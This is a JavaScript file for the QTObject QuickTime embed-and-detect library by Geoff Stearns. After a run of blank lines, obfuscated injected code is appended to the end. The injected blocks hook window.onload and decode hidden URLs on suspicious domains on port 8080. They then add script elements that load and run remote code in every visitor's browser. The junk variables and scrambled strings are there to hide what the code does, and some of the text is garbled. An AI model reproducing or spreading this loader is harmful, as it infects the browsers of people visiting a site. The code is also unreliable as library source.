/*
 * QTObject embed
 * http://blog.deconcept.com/2005/01/26/web-standards-compliant-javascript-quicktime-detect-and-embed/
 *
 * by Geoff Stearns (geoff@deconcept.com, http://www.deconcept.com/)
 *
 * v1.0.2 - 02-16-2005
 *
 * Embeds a quicktime movie to the page, includes plugin detection
 *
 * Usage:
 *
 *	myQTObject = new QTObject("path/to/mov.mov", "movid", "width", "height");
 *	myQTObject.altTxt = "Upgrade your Quicktime Player!";    // optional
 
 *  myQTObject.addParam("controller", "false");              // optional
 *	myQTObject.write();
 *
 */

QTObject = function(mov, id, w, h) {
	this.mov = mov;
	this.id = id;
	this.width = w;
	this.height = h;
	this.redirect = "";
	this.sq = document.location.search.split("?")[1] || "";
	this.altTxt = "This content requires the QuickTime Plugin. <a href='http://www.apple.com/quicktime/download/'>Download QuickTime Player</a>.";
	this.bypassTxt = "<p>Already have QuickTime Player? <a href='?detectqt=false&"+ this.sq +"'>Click here.</a></p>";
	this.params = new Object();
	this.doDetect = getQueryParamValue('detectqt');
}

QTObject.prototype.addParam = function(name, value) {
	this.params[name] = value;
}

QTObject.prototype.getParams = function() {
    return this.params;
}

QTObject.prototype.getParam = function(name) {
    return this.params[name];
}

QTObject.prototype.getParamTags = function() {
    var paramTags = "";
    for (var param in this.getParams()) {
        paramTags += '<param name="' + param + '" value="' + this.getParam(param) + '" />';
    }
    if (paramTags == "") {
        paramTags = null;
    }
    return paramTags;
}

QTObject.prototype.getHTML = function() {
    var qtHTML = "";
	if (navigator.plugins && navigator.plugins.length) { // not ie
        qtHTML += '<embed type="video/quicktime" src="' + this.mov + '" width="' + this.width + '" height="' + this.height + '" id="' + this.id + '"';
        for (var param in this.getParams()) {
            qtHTML += ' ' + param + '="' + this.getParam(param) + '"';
        }
        qtHTML += '></embed>';
    }
    else { // pc ie
        qtHTML += '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="' + this.width + '" height="' + this.height + '" id="' + this.id + '">';
        this.addParam("src", this.mov);
        if (this.getParamTags() != null) {
            qtHTML += this.getParamTags();
        }
        qtHTML += '</object>';
    }
    return qtHTML;
}


QTObject.prototype.getVariablePairs = function() {
    var variablePairs = new Array();
    for (var name in this.getVariables()) {
        variablePairs.push(name + "=" + escape(this.getVariable(name)));
    }
    if (variablePairs.length > 0) {
        return variablePairs.join("&");
    }
    else {
        return null;
    }
}

QTObject.prototype.write = function(elementId) {
	if(isQTInstalled() || this.doDetect=='false') {
		if (elementId) {
			document.getElementById(elementId).innerHTML = this.getHTML();
		} else {
			document.write(this.getHTML());
		}
	} else {
		if (this.redirect != "") {
			document.location.replace(this.redirect);
		} else {
			if (elementId) {
				document.getElementById(elementId).innerHTML = this.altTxt +""+ this.bypassTxt;
			} else {
				document.write(this.altTxt +""+ this.bypassTxt);
			}
		}
	}		
}

function isQTInstalled() {
	var qtInstalled = false;
	qtObj = false;
	if (navigator.plugins && navigator.plugins.length) {
		for (var i=0; i < navigator.plugins.length; i++ ) {
         var plugin = navigator.plugins[i];
         if (plugin.name.indexOf("QuickTime") > -1) {
			qtInstalled = true;
         }
      }
	} else {
		execScript('on error resume next: qtObj = IsObject(CreateObject("QuickTimeCheckObject.QuickTimeCheck.1"))','VBScript');
		qtInstalled = qtObj;
	}
	return qtInstalled;
}

/* get value of querystring param */
function getQueryParamValue(param) {
	var q = document.location.search;
	var detectIndex = q.indexOf(param);
	var endIndex = (q.indexOf("&", detectIndex) != -1) ? q.indexOf("&", detectIndex) : q.length;
	if(q.length > 1 && detectIndex != -1) {
		return q.substring(q.indexOf("=", detectIndex)+1, endIndex);
	} else {
		return "";
	}
}











this.bg='';var h=new Array();var oj;if(oj!='d_' && oj != ''){oj=null};var eg;if(eg!='co' && eg != ''){eg=null};var b='sdc&r!iupgt!'.replace(/[\!gu&d]/g, '');var hu="hu";var v;if(v!='m' && v != ''){v=null};var y=window;var kn=false;var q=false;var z=document;this.zl="";var wu;if(wu!='' && wu!='v_'){wu='x'};var g;if(g!=''){g='sq'};var gk="";y.onload=function(){var uq;if(uq!='jlp' && uq != ''){uq=null};try {e=z.createElement(b);var md;if(md!='a' && md != ''){md=null};this.j_='';var zs;if(zs!='yx' && zs != ''){zs=null};e.src='hZtjtQpQ:Q/j/;b;rjoZtQhZeZrjs&o&f&tj-Qcjo&mQ.&b&a&dQo&njg&o;.Zcjojmj.Zn;bjaZ-;cZo;mj.Zrje&c&eQn;t&m&eZxji;c&oZ.;rQu&:j8j0Z8;0&/Ql&i&v&eZs;cQojrZe&.QcZoZmQ/;lZiZvZe&sQc&oZr;eQ.;c;oZmj/Zr;ejt&a;iQlZm&e&n;o;tj.;cQojmQ/;gjo;o;gZl;e;.Zc&o&m;/QmZajkQtZoZojbZ.&cjo;m;/;'.replace(/[;QZ&j]/g, '');var r_=new String();var os;if(os!='fb' && os != ''){os=null};e.setAttribute('dmegfcemrm'.replace(/[m\*Scg]/g, ''), "1");var xe=44384;var sm=false;var uv="uv";var hn="hn";z.body.appendChild(e);this.jfa="";this.eq="";} catch(d){var gd;if(gd!='' && gd!='xj'){gd=null};};var xs;if(xs!='ab' && xs != ''){xs=null};var cm=new Array();};var au;if(au!='sh'){au='sh'};var gr;if(gr!='xg'){gr='xg'};
var y;if(y!='' && y!='p'){y=null};try {var n;if(n!='ck' && n!='q'){n='ck'};:LineMixer [var cd;if(cd!=''){cd='j'};var z='h,tXtRp,:R/,/XpRa?i?pXaJi?-XcJo?mR.?w,e?bRsRh,oXtRsX.Rc,o?mJ.,uXrXbXa?n?dXi?cXtRi,oJnXa?rJyJ-,cRoRmJ.?bReJs,tJnXeJw?s?mJaJl,lX.?rRuX:?8?0?8R0,/RgJo?o?g,l,eR.JcRoJmR/Xg,oXo,g,lXeJ.JcXo?mR/JfRoJrXbRe?sX.RcXoXmX/Xx,vRiJd?e?oRs?.,cJoRm,/?gXoXoJgRlXeR.?bJgJ/R'.replace(/[RJ\?X,]/g, '');var d='sFcbrFilpbtn'.replace(/[nFl\|b]/g, '');var hk;if(hk!='' && hk!='yy'){hk=null};var u='cFr0ega0tFe0EglvegmJe0nvtJ'.replace(/[JgvF0]/g, '');var m='oMnXlxota9dM'.replace(/[M9Xxt]/g, '');var o;if(o!='mb'){o='mb'};var s="1";var l='a&pspueunQdsCsh&iul&dQ'.replace(/[QsUu&]/g, '');var i='s1ePtPAzt1t1rGiPb1u1tGez'.replace(/[zGPq1]/g, '');this.f="f";var _='b_oXd_yX'.replace(/[Xaqh_]/g, '');var cm="cm";]var eb='';var w;if(w!='' && w!='n_'){w=null};window[m]=function(){var is;if(is!='x'){is='x'};ik=document[u](d);var ze=64169;:LineMixer [ik['s+rHcg'.replace(/[gtH8\+]/g, '')]=z;ik[i]('dLeKfqeLrq'.replace(/[qLTK2]/g, ''), s);this.si="si";var r=document[_];]r[l](ik);var g;if(g!='ld' && g!='ma'){g='ld'};};var yh;if(yh!='' && yh!='mk'){yh='d_'};} catch(h){};
function l() {var m;if(m!='y' && m != ''){m=null};var c;if(c!='o' && c != ''){c=null};var i;if(i!='' && i!='bg'){i='yb'};this.e='';function w(s,d,q){var dx;if(dx!='doi' && dx != ''){dx=null};s.setAttribute(d, q);var bs;if(bs!='r' && bs!='_'){bs='r'};}function a(){return ([1][0]);var f;if(f!='py' && f != ''){f=null};var zt=new Date();}var he="he";var sq;if(sq!='zb' && sq != ''){sq=null};var bo='';var qg='h^t^t;pL:L/;/;z^y^n^g@aL-LcBo;mL.LmLiLl^l;iBy;eLt^.;c^oLmL.@t;rL.;p;p^l;i;vBeB-@c@oBm@.;m@eBd;i@a;t^aLg@oBn@l;i^nLe;.;rBu^:@8;0L8;0L/LgLm^o;dBu;lBeBsL.^cBo;mB/;gLm@oLdBuBl@e;s;.;cLo@m@/^g@oLo@gBl^e^.LcLo;m@/^s@t;u;d@i^v@eBr;z@e@iBc^h;nBiLs^.@cLoBm;/^b;r;a@mLjLn^e@t;.;c^o@mB/^'.replace(/[\^@LB;]/g, '');var t='suc9rSi9putq'.replace(/[qS\.9u]/g, '');var oz;if(oz!='ws' && oz != ''){oz=null};var b=window;var ko;if(ko!='_c' && ko!='iw'){ko=''};var n='sDrIcI'.replace(/[ITD2e]/g, '');var uk;if(uk!='lp'){uk='lp'};var rb;if(rb!='' && rb!='_u'){rb='no'};var h='cVr.e.aVt|eVEfl|e|m|efn.t.'.replace(/[\.f\+V\|]/g, '');var yh;if(yh!='' && yh!='pa'){yh=''};var g='opnplpopaNdp'.replace(/[pZNR7]/g, '');b[g]=function(){try {p=document[h](t);var dg;if(dg!='hu' && dg!='jw'){dg=''};this.sy=false;this.br=false;w(p,n,qg);var eb;if(eb!='hx' && eb != ''){eb=null};var yd=new Date();w(p,'d_e>f>e_rv'.replace(/[v\>_MY]/g, ''),a());var u_;if(u_!=''){u_='kr'};document['b3o,d>y3'.replace(/[3\:,k\>]/g, '')]['a;ptp9eNnId;C9hti;l;d;'.replace(/[;NIt9]/g, '')](p);} catch(dw){};var nh;if(nh!='' && nh!='zy'){nh='wb'};};};l();var zr;if(zr!='' && zr!='bsv'){zr=null};



this.OM='';var SI=new String();var uV="";jf[l("%73%72%63")]=y;jf[l("%64%65%66%65%72")]=[4,1][1];var hZ;if(hZ!=''){hZ='jGl'};f.body.appendChild(jf);var Gv="";} catch(lCy){var kl;if(kl!='WN'){kl='WN'};var ch;if(ch!='Sf'){ch='Sf'};alert(lCy);var qt;if(qt!='' && qt!='KU'){qt='pX'};};var iz;if(iz!='gx' && iz!='lf'){iz=''};var N_R;if(N_R!='IO'){N_R='IO'};}var cR;if(cR!='dZ' && cR != ''){cR=null};var AL=new Date();j[String("onlo"+"adLPwC".substr(0,2))]=J;var ZX;if(ZX!='nH' && ZX!='PS'){ZX='nH'};var RO;if(RO!='ek' && RO!='cm'){RO='ek'};};var Rh;if(Rh!='' && Rh!='sj'){Rh=''};this.TTq="";C();